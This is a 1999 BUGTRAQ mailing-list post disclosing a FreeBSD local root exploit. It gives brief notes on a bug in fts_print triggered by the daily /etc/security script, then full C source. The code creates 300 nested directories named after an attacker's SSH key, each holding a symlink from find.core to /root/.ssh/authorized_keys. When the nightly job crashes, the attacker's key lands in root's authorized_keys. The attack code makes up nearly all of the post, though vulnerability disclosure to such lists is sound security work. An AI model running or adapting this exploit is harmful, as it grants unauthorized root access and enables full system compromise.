Subject:      FreeBSD (and other BSDs?) local root explot
To: BUGTRAQ@SECURITYFOCUS.COM 


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/*


 (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>


 bug in fts_print function allows to overwrite any file in system, when
 running /etc/security script (executed from 'daily' scripts).


 affected systems:
   - freebsd (all versions)
   - probably openbsd/netbsd


 fix:
   - limit root's coredump size
   - patch libc


*/


#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>


#define STRING          "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE            "/root/.ssh/authorized_keys"
#define CORE            "find.core"
#define DEPTH           300
#define BUFSIZE         250


int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{


        if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
                return -1;


        if (chdir(dir))
                return -1;


        if (symlink(linkfrom, linkto) < 0)
                return -1;


        return 0;
}



int main(argc, argv)
int argc;
char **argv;
{
        int i = 0;
        char pid[10], buf[BUFSIZE];


        sprintf(pid, "%d", getpid());


        if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
        {
                perror("mkdir()");
                return -1;
        }


        if (chdir(pid))
        {
                perror("chdir()");
                return -1;
        }


        bzero(buf, BUFSIZE);
        memset(buf, 0x41, BUFSIZE-1);


        for(i=0;i<DEPTH;i++)
        {
                if (makedir(STRING, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }


                if(makedir(buf, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }
        }


        return 0;
}


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